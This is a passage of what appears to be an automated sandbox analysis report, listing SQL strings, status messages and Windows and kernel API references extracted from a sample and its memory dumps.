00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "insert into configuration(key,value) values('device_id',?) on conflict(key) do update set value=excluded.valueinsert into configuration(key,value) values('device_name',?) on conflict(key) do update set value=excluded.value&identity.recovery.complete old_device="), "SELECT value FROM configuration WHERE key=?INSERT INTO configuration(key,value) VALUES(?,?) ON CONFLICT(key) DO UPDATE SET value=excluded.value" (Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "select value from configuration where key=?insert into configuration(key,value) values(?,?) on conflict(key) do update set value=excluded.value"), "SELECT envelope FROM pending_outbox ORDER BY created_at rowid LIMIT ?" (Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "select envelope from pending_outbox order by created_at rowid limit ?"), "DELETE FROM managed_apps WHERE id=?DELETE FROM installed_software WHERE app_id=?0" (Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "delete from managed_apps where id=?delete from installed_software where app_id=?0"), "UPDATE managed_apps SET pid=NULL process_started_at=NULL process_identity=NULL process_supervision=NULL updated_at=? WHERE id=?forensics.device.collector.started source=cm_register_notification class=usb_device_interface" (Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "update managed_apps set pid=null process_started_at=null process_identity=null process_supervision=null updated_at=? where id=?forensics.device.collector.started source=cm_register_notification class=usb_device_interface"), "UPDATE managed_apps SET status=? pid=? process_started_at=? process_identity=? process_supervision=? restart_count=? last_restart=? updated_at=? WHERE id=?UPDATE installed_software SET pid=? process_started_at=? process_identity=? process_supervision=? updated_at=? WHERE app_id=?SELECT revision_id FROM managed_apps WHERE id=? invalid virtual screen geometry" (Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "update managed_apps set status=? pid=? process_started_at=? process_identity=? process_supervision=? restart_count=? last_restart=? updated_at=? where id=?update installed_software set pid=? process_started_at=? process_identity=? process_supervision=? updated_at=? where app_id=?select revision_id from managed_apps where id=? invalid virtual screen geometry"), "UPDATE managed_apps SET pid=? process_started_at=? process_identity=? process_supervision=? updated_at=? WHERE id=?software.binbridge-forensics-processesspawning forensic process collectorcanonical executable has no filenamecannot replace a running canonical executable with the same filename; close the existing BridgeAgent.exe once and rerun this build'install.old_canonical_stop.begin image=" (Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "update managed_apps set pid=?,process_started_at=?,process_identity=?,process_supervision=?,updated_at=? where id=?software.binbridge-forensics-processesspawning forensic process collectorcanonical executable has no filenamecannot replace a running canonical executable with the same filename; close the existing bridgeagent.exe once and rerun this build'install.old_canonical_stop.begin image="), "SELECT pid executable_path process_started_at process_identity FROM installed_software WHERE app_id=?&software.previous_process.stopped app=" (Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "select pid executable_path process_started_at process_identity from installed_software where app_id=?&software.previous_process.stopped app="), "SELECT path name FROM Profiles ORDER BY id)backstage.browser.firefox_store store_id=" (Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "select path name from profiles order by id)backstage.browser.firefox_store store_id="), "INSERT INTO installed_software(app_id,package_id,revision_id,executable_path,pid,process_started_at,process_identity,process_supervision,updated_at) VALUES(?,?,?,?,?,?,?,?,?) ON CONFLICT(app_id) DO UPDATE SET package_id=excluded.package_id revision_id=excluded.revision_id executable_path=excluded.executable_path pid=excluded.pid process_started_at=excluded.process_started_at process_identity=excluded.process_identity process_supervision=excluded.process_supervision updated_at=excluded.updated_atreading Unicode clipboard datalocking Unicode clipboard dataWindows clipboard exceeds 1 MiB" (Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "insert into installed_software(app_id,package_id,revision_id,executable_path,pid,process_started_at,process_identity,process_supervision,updated_at) values(?,?,?,?,?,?,?,?,?) on conflict(app_id) do update set package_id=excluded.package_id revision_id=excluded.revision_id executable_path=excluded.executable_path pid=excluded.pid process_started_at=excluded.process_started_at process_identity=excluded.process_identity process_supervision=excluded.process_supervision updated_at=excluded.updated_atreading unicode clipboard datalocking unicode clipboard datawindows clipboard exceeds 1 mib"), "CREATE TABLE IF NOT EXISTS configuration(key TEXT PRIMARY KEY,value TEXT NOT NULL);" (Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "create table if not exists configuration(key text primary key,value text not null);"), "CREATE TABLE IF NOT EXISTS received_jobs(" (Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "create table if not exists received_jobs(") "CREATE TABLE IF NOT EXISTS completed_jobs(" (Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "create table if not exists completed_jobs(") "CREATE TABLE IF NOT EXISTS pending_outbox(" (Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "create table if not exists pending_outbox(") "CREATE TABLE IF NOT EXISTS agent_state(key TEXT PRIMARY KEY,value TEXT NOT NULL);" (Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "create table if not exists agent_state(key text primary key,value text not null);"), "CREATE TABLE IF NOT EXISTS installed_software(" (Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "create table if not exists installed_software(") "CREATE TABLE IF NOT EXISTS managed_apps(" (Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "create table if not exists managed_apps(") "CREATE TABLE x( name TEXT, path TEXT, pageno INTEGER, pagetype TEXT, ncell INTEGER, payload INTEGER, unused INTEGER, mx_payload INTEGER, pgoffset INTEGER, pgsize INTEGER, schema TEXT HIDDEN, aggregate BOOLEAN HIDDEN)" (Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "create table x( name text, path text, pageno integer, pagetype text, ncell integer, payload integer, unused integer, mx_payload integer, pgoffset integer, pgsize integer, schema text hidden, aggregate boolean hidden)"), "INSERT OR REPLACE INTO '%q'.'%q_node' VALUES(?1, ?2)" (Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "insert or replace into '%q'.'%q_node' values(?1, ?2)")40:T751,Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "file") Found reference to API "NtCreateFile" (Indicator: "CreateFile"; File: "file") Found reference to API "NtCreateFile" (Indicator: "NtCreateFile"; File: "file") Found reference to API "NtOpenFile" (Indicator: "NtOpenFile"; File: "file") Found reference to API "CreateFile2" (Indicator: "CreateFile"; File: "file") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "CreateFile2" (Indicator: "CreateFile"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "CreateFileMappingFromApp" (Indicator: "CreateFile"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "NtCreateFile" (Indicator: "CreateFile"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "NtCreateFile" (Indicator: "NtCreateFile"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "NtOpenFile" (Indicator: "NtOpenFile"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp")41:T14ea6,Found reference to API (Indicator: "RegCreateKeyExA"; File: "file") Found reference to API (Indicator: "DeleteFileA"; File: "file") Found reference to API (Indicator: "GetModuleFileNameW"; File: "file") Found reference to API (Indicator: "Sleep"; File: "file") Found reference to API (Indicator: "GetModuleFileNameA"; File: "file") Found reference to API (Indicator: "LoadLibraryA"; File: "file") Found reference to API (Indicator: "GetLastError"; File: "file") Found reference to API (Indicator: "GetCurrentProcess"; File: "file") Found reference to API (Indicator: "FreeLibrary"; File: "file") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "file") Found reference to API (Indicator: "VirtualProtect"; File: "file") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "file") Found reference to API (Indicator: "GetCurrentProcessId"; File: "file") Found reference to API (Indicator: "GetEnvironmentVariableA"; File: "file") Found reference to API (Indicator: "LocalFree"; File: "file") Found reference to API (Indicator: "EnterCriticalSection"; File: "file") Found reference to API (Indicator: "Wow64RevertWow64FsRedirection"; File: "file") Found reference to API (Indicator: "Wow64DisableWow64FsRedirection"; File: "file") Found reference to API (Indicator: "VirtualQuery"; File: "file") Found reference to API (Indicator: "GetProcAddress"; File: "file") Found reference to API (Indicator: "CreateFileA"; File: "file") Found reference to API (Indicator: "GetFileSize"; File: "file") Found reference to API (Indicator: "GetWindowsDirectoryA"; File: "file") Found reference to API (Indicator: "GetTempPathA"; File: "file") Found reference to API (Indicator: "LeaveCriticalSection"; File: "file") Found reference to API (Indicator: "GetModuleHandleA"; File: "file") Found reference to API (Indicator: "LoadLibraryExA"; File: "file") Found reference to API (Indicator: "GetTickCount"; File: "file") Found reference to API (Indicator: "ReadFile"; File: "file") Found reference to API (Indicator: "TlsGetValue"; File: "file") Found reference to API (Indicator: "WriteFile"; File: "file") Found reference to API (Indicator: "DeleteCriticalSection"; File: "file") Found reference to API (Indicator: "InitializeCriticalSection"; File: "file") Found reference to API (Indicator: "GetFileAttributesA"; File: "file") Found reference to API (Indicator: "CloseHandle"; File: "file") Found reference to API (Indicator: "WNetOpenEnumA"; File: "file") Found reference to API (Indicator: "SysFreeString"; File: "file") Found reference to API (Indicator: "SafeArrayPutElement"; File: "file") Found reference to API (Indicator: "SysAllocString"; File: "file") Found reference to API (Indicator: "VariantClear"; File: "file") Found reference to API (Indicator: "LoadIconA"; File: "file") Found reference to API (Indicator: "GetSystemMetrics"; File: "file") Found reference to API (Indicator: "NtFreeVirtualMemory"; File: "file") Found reference to API (Indicator: "NtAllocateVirtualMemory"; File: "file") Found reference to API (Indicator: "CoInitializeSecurity"; File: "file") Found reference to API (Indicator: "CoInitializeEx"; File: "file") Found reference to API (Indicator: "CoCreateInstance"; File: "file") Found reference to API (Indicator: "CompareStringEx"; File: "00000000-00006700.00000002.277998.159B1000.00000020.mdmp") Found reference to API (Indicator: "EnumSystemLocalesEx"; File: "00000000-00006700.00000002.277998.159B1000.00000020.mdmp") Found reference to API (Indicator: "GetDateFormatEx"; File: "00000000-00006700.00000002.277998.159B1000.00000020.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; File: "00000000-00006700.00000002.277998.159B1000.00000020.mdmp") Found reference to API (Indicator: "GetTimeFormatEx"; File: "00000000-00006700.00000002.277998.159B1000.00000020.mdmp") Found reference to API (Indicator: "GetUserDefaultLocaleName"; File: "00000000-00006700.00000002.277998.159B1000.00000020.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "00000000-00006700.00000002.277998.159B1000.00000020.mdmp") Found reference to API (Indicator: "IsValidLocaleName"; File: "00000000-00006700.00000002.277998.159B1000.00000020.mdmp") Found reference to API (Indicator: "LCMapStringEx"; File: "00000000-00006700.00000002.277998.159B1000.00000020.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; File: "00000000-00006700.00000002.277998.159B1000.00000020.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; File: "00000000-00006700.00000002.277998.159B1000.00000020.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; File: "file") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "file") Found reference to API (Indicator: "WideCharToMultiByte"; File: "file") Found reference to API (Indicator: "InitializeSListHead"; File: "file") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "file") Found reference to API (Indicator: "IsDebuggerPresent"; File: "file") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "file") Found reference to API (Indicator: "MultiByteToWideChar"; File: "file") Found reference to API (Indicator: "AddVectoredExceptionHandler"; File: "file") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "file") Found reference to API (Indicator: "lstrlenW"; File: "file") Found reference to API (Indicator: "BCryptGenRandom"; File: "file") Found reference to API (Indicator: "CertAddCertificateContextToStore"; File: "file") Found reference to API (Indicator: "CertDuplicateCertificateChain"; File: "file") Found reference to API (Indicator: "CertCloseStore"; File: "file") Found reference to API (Indicator: "CertDuplicateStore"; File: "file") Found reference to API (Indicator: "CertVerifyCertificateChainPolicy"; File: "file") Found reference to API (Indicator: "CertFreeCertificateChain"; File: "file") Found reference to API (Indicator: "CertEnumCertificatesInStore"; File: "file") Found reference to API (Indicator: "CertGetCertificateChain"; File: "file") Found reference to API (Indicator: "CertOpenStore"; File: "file") Found reference to API (Indicator: "GetFileInformationByHandle"; File: "file") Found reference to API (Indicator: "HeapAlloc"; File: "file") Found reference to API (Indicator: "GetProcessHeap"; File: "file") Found reference to API (Indicator: "SetLastError"; File: "file") Found reference to API (Indicator: "CancelIoEx"; File: "file") Found reference to API (Indicator: "CancelIo"; File: "file") Found reference to API (Indicator: "HeapReAlloc"; File: "file") Found reference to API (Indicator: "SleepEx"; File: "file") Found reference to API (Indicator: "WaitForMultipleObjects"; File: "file") Found reference to API (Indicator: "GetCurrentThread"; File: "file") Found reference to API (Indicator: "HeapFree"; File: "file") Found reference to API (Indicator: "SetThreadStackGuarantee"; File: "file") Found reference to API (Indicator: "SetFileCompletionNotificationModes"; File: "file") Found reference to API (Indicator: "ReadFileEx"; File: "file") Found reference to API (Indicator: "WriteFileEx"; File: "file") Found reference to API (Indicator: "GetWindowsDirectoryW"; File: "file") Found reference to API (Indicator: "PostQueuedCompletionStatus"; File: "file") Found reference to API (Indicator: "GetProcessId"; File: "file") Found reference to API (Indicator: "CreateMutexA"; File: "file") Found reference to API (Indicator: "WriteConsoleW"; File: "file") Found reference to API (Indicator: "GetOverlappedResult"; File: "file") Found reference to API (Indicator: "SetHandleInformation"; File: "file") Found reference to API (Indicator: "FindFirstFileExW"; File: "file") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; File: "file") Found reference to API (Indicator: "SetFileTime"; File: "file") Found reference to API (Indicator: "CreateDirectoryW"; File: "file") Found reference to API (Indicator: "CopyFileExW"; File: "file") Found reference to API (Indicator: "MoveFileExW"; File: "file") Found reference to API (Indicator: "DuplicateHandle"; File: "file") Found reference to API (Indicator: "GetQueuedCompletionStatusEx"; File: "file") Found reference to API (Indicator: "GetCurrentThreadId"; File: "file") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "file") Found reference to API (Indicator: "WaitForSingleObjectEx"; File: "file") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "file") Found reference to API (Indicator: "SwitchToThread"; File: "file") Found reference to API (Indicator: "SetFilePointerEx"; File: "file") Found reference to API (Indicator: "CreateProcessW"; File: "file") Found reference to API (Indicator: "FormatMessageW"; File: "file") Found reference to API (Indicator: "CreateIoCompletionPort"; File: "file") Found reference to API (Indicator: "SetWaitableTimer"; File: "file") Found reference to API (Indicator: "GetModuleHandleW"; File: "file") Found reference to API (Indicator: "NtDeviceIoControlFile"; File: "file") Found reference to API (Indicator: "NtReadFile"; File: "file") Found reference to API (Indicator: "NtWriteFile"; File: "file") Found reference to API (Indicator: "RtlNtStatusToDosError"; File: "file") Found reference to API (Indicator: "NtCreateFile"; File: "file") Found reference to API (Indicator: "NtCreateNamedPipeFile"; File: "file") Found reference to API (Indicator: "NtOpenFile"; File: "file") Found reference to API (Indicator: "ApplyControlToken"; File: "file") Found reference to API (Indicator: "QueryContextAttributesW"; File: "file") Found reference to API (Indicator: "AcceptSecurityContext"; File: "file") Found reference to API (Indicator: "FreeContextBuffer"; File: "file") Found reference to API (Indicator: "DeleteSecurityContext"; File: "file") Found reference to API (Indicator: "EncryptMessage"; File: "file") Found reference to API (Indicator: "FreeCredentialsHandle"; File: "file") Found reference to API (Indicator: "DecryptMessage"; File: "file") Found reference to API (Indicator: "InitializeSecurityContextW"; File: "file") Found reference to API (Indicator: "AcquireCredentialsHandleA"; File: "file") Found reference to API (Indicator: "ioctlsocket"; File: "file") Found reference to API (Indicator: "getsockname"; File: "file") Found reference to API (Indicator: "WSASend"; File: "file") Found reference to API (Indicator: "WSACleanup"; File: "file") Found reference to API (Indicator: "WSAIoctl"; File: "file") Found reference to API (Indicator: "getsockopt"; File: "file") Found reference to API (Indicator: "WSAGetLastError"; File: "file") Found reference to API (Indicator: "getpeername"; File: "file") Found reference to API (Indicator: "WSAStartup"; File: "file") Found reference to API (Indicator: "closesocket"; File: "file") Found reference to API (Indicator: "GetLocaleInfoW"; File: "file") Found reference to API (Indicator: "FormatMessageA"; File: "file") Found reference to API (Indicator: "GetCommandLineW"; File: "file") Found reference to API (Indicator: "GetUserDefaultLCID"; File: "file") Found reference to API (Indicator: "RtlPcToFileHeader"; File: "file") Found reference to API (Indicator: "CreateFile2"; File: "file") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "file") Found reference to API (Indicator: "HeapSize"; File: "file") Found reference to API (Indicator: "SetConsoleTextAttribute"; File: "file") Found reference to API (Indicator: "LCMapStringW"; File: "file") Found reference to API (Indicator: "GetCPInfo"; File: "file") Found reference to API (Indicator: "SetConsoleOutputCP"; File: "file") Found reference to API (Indicator: "SetStdHandle"; File: "file") Found reference to API (Indicator: "GetModuleHandleExW"; File: "file") Found reference to API (Indicator: "GetFileSizeEx"; File: "file") Found reference to API (Indicator: "GetStringTypeW"; File: "file") Found reference to API (Indicator: "IsValidCodePage"; File: "file") Found reference to API (Indicator: "GetOEMCP"; File: "file") Found reference to API (Indicator: "EnumSystemLocalesW"; File: "file") Found reference to API (Indicator: "FlushFileBuffers"; File: "file") Found reference to API (Indicator: "PeekNamedPipe"; File: "file") Found reference to API (Indicator: "RtlUnwind"; File: "file") Found reference to API (Indicator: "ReadConsoleW"; File: "file") Found reference to API (Indicator: "GetStartupInfoW"; File: "file") Found reference to API (Indicator: "IsValidLocale"; File: "file") Found reference to API (Indicator: "GetCommandLineA"; File: "file") Found reference to API (Indicator: "EncodePointer"; File: "file") Found reference to API (Indicator: "CompareStringW"; File: "file") Found reference to API (Indicator: "ExitProcess"; File: "file") Found reference to API (Indicator: "IoDeleteDevice"; File: "file") Found reference to API (Indicator: "IoCreateDevice"; File: "file") Found reference to API (Indicator: "MmMapIoSpace"; File: "file") Found reference to API (Indicator: "IoAllocateMdl"; File: "file") Found reference to API (Indicator: "MmGetPhysicalAddress"; File: "file") Found reference to API (Indicator: "MmAllocateContiguousMemorySpecifyCache"; File: "file") Found reference to API (Indicator: "MmMapLockedPages"; File: "file") Found reference to API (Indicator: "MmUnmapIoSpace"; File: "file") Found reference to API (Indicator: "IofCompleteRequest"; File: "file") Found reference to API (Indicator: "MmBuildMdlForNonPagedPool"; File: "file") Found reference to API (Indicator: "IoFreeMdl"; File: "file") Found reference to API (Indicator: "RtlInitUnicodeString"; File: "file") Found reference to API (Indicator: "MmUnmapLockedPages"; File: "file") Found reference to API (Indicator: "IoCreateSymbolicLink"; File: "file") Found reference to API (Indicator: "IoDeleteSymbolicLink"; File: "file") Found reference to API (Indicator: "ExFreePoolWithTag"; File: "file") Found reference to API (Indicator: "MmFreeContiguousMemory"; File: "file") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CharLowerW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CharUpperW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingA"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameA"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTime"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "HeapCompact"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "LockFile"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "LockFileEx"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "SetEndOfFile"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "UnlockFile"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "UnlockFileEx"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CreateEventExW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetFileInformationByHandleEx"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CreateFile2"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetNativeSystemInfo"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringA"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "InterlockedCompareExchange"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "UuidCreate"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "UuidCreateSequential"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "FlushViewOfFile"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CreateEvent"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CancelIo"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CertFreeCertificateContext"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API (Indicator: "CertCloseStore"; Source: 